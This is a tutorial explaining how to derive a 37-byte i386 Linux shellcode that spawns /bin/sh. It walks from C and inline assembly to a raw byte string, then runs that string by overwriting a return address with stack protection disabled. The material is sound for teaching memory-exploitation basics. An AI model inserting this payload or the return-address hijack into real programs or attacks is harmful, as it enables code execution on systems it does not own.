\newpage
The term shellcode is typically used to refer to that piece of code which allows to spawn a command line in the targeting system. This can be done from any process in execution provided it invokes the right call. This tutorial will focus on understanding a shellcode for i386 systems and how it's typically used.
Note: as in previous tutorials, there's a docker container that facilitates reproducing the work of this tutorial. The container can be built with:
docker build -t basic_cybersecurity2:latest .
and runned with:
docker run --privileged -it basic_cybersecurity2:latest
The code to spawn a shell in C looks like (shellcode.c
):
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
executing, it clearly gives us a shell:
root@1406e08c64b9:~# ./shellcode
#
Reading through literature [2], one can summarize that this C program consist of the following steps in assembly:
- a) Have the null terminated string "/bin/sh" somewhere in memory.
- b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word.
- c) Copy 0xb into the EAX register.
- d) Copy the address of the address of the string "/bin/sh" into the EBX register.
- e) Copy the address of the string "/bin/sh" into the ECX register.
- f) Copy the address of the null long word into the EDX register.
- g) Execute the int $0x80 instruction.
- h) Copy 0x1 into the EAX register.
- i) Copy 0x0 into the EBX register.
- j) Execute the int $0x80 instruction.
From [3], we can put together the following complete program assembled together in C (shellcodeasm.c
):
void main() {
__asm__(" \
xor %eax, %eax; \
xor %edx, %edx; \
movb $11, %al; \
push %edx; \
push $0x68732f6e; \
push $0x69622f2f; \
mov %esp, %ebx; \
push %edx; \
push %ebx; \
mov %esp, %ecx; \
int $0x80; \
movl $0x1, %eax; \
movl $0x0, %ebx; \
int $0x80;");
}
executing, it clearly gives us a shell:
root@1406e08c64b9:~# ./shellcodeasm
#
and disassembling it, we obtain the same (plus the corresponding instructions for the stack management at the beginning and end):
>>> disassemble main
Dump of assembler code for function main:
0x080483ed <+0>: push %ebp
0x080483ee <+1>: mov %esp,%ebp
0x080483f0 <+3>: xor %eax,%eax
0x080483f2 <+5>: xor %edx,%edx
0x080483f4 <+7>: mov $0xb,%al
0x080483f6 <+9>: push %edx
0x080483f7 <+10>: push $0x68732f6e
0x080483fc <+15>: push $0x69622f2f
0x08048401 <+20>: mov %esp,%ebx
0x08048403 <+22>: push %edx
0x08048404 <+23>: push %ebx
0x08048405 <+24>: mov %esp,%ecx
0x08048407 <+26>: int $0x80
0x08048409 <+28>: mov $0x1,%eax
0x0804840e <+33>: mov $0x0,%ebx
0x08048413 <+38>: int $0x80
0x08048415 <+40>: pop %ebp
0x08048416 <+41>: ret
End of assembler dump.
Now, a more compact version of the shellcode can be obtained by fetching the hexadecimal representation of all those assembly instructions above which can be obtained by directly looking at the memory:
>>> x/37bx 0x080483f0
0x80483f0 <main+3>: 0x31 0xc0 0x31 0xd2 0xb0 0x0b 0x52 0x68
0x80483f8 <main+11>: 0x6e 0x2f 0x73 0x68 0x68 0x2f 0x2f 0x62
0x8048400 <main+19>: 0x69 0x89 0xe3 0x52 0x53 0x89 0xe1 0xcd
0x8048408 <main+27>: 0x80 0xb8 0x01 0x00 0x00 0x00 0xbb 0x00
0x8048410 <main+35>: 0x00 0x00 0x00 0xcd 0x80
a total of 37 bytes of shellcode. Let's try it out:
char shellcode[] =
"\x31\xc0\x31\xd2\xb0\x0b\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\xcd"
"\x80\xb8\x01\x00\x00\x00\xbb\x00"
"\x00\x00\x00\xcd\x80";
void main() {
int *ret; // a variable that will hold the return address in the stack
ret = (int *)&ret + 2; // obtain the return address from the stack
(*ret) = (int)shellcode; // point the return address to the shellcode
}
Code is self-explanatory, a local variable ret
gets pointed to the return address which later gets modified to point at the global variable shellcode
which contains the previously derived shell code. To make this work in a simple manner, we will disable gcc's stack protection mechanism producing:
root@51b56809b3b6:~# ./test_shellcode
#
- [1] M. Hicks (2014), Software Security, Coursera, Cybersecurity Specialization, University of Maryland, College Park, https://www.coursera.org/learn/software-security.
- [2] A. One (1996), Smashing the Stack for Fun and Profit. Phrack, 7. Retrieved from http://insecure.org/stf/smashstack.html.
- [3] P. Clement (2011), execve("/bin//sh", ["/bin//sh"], NULL) - Linux elf32-i386. Retrieved from https://blog.thireus.com/execvebinsh-binsh-null/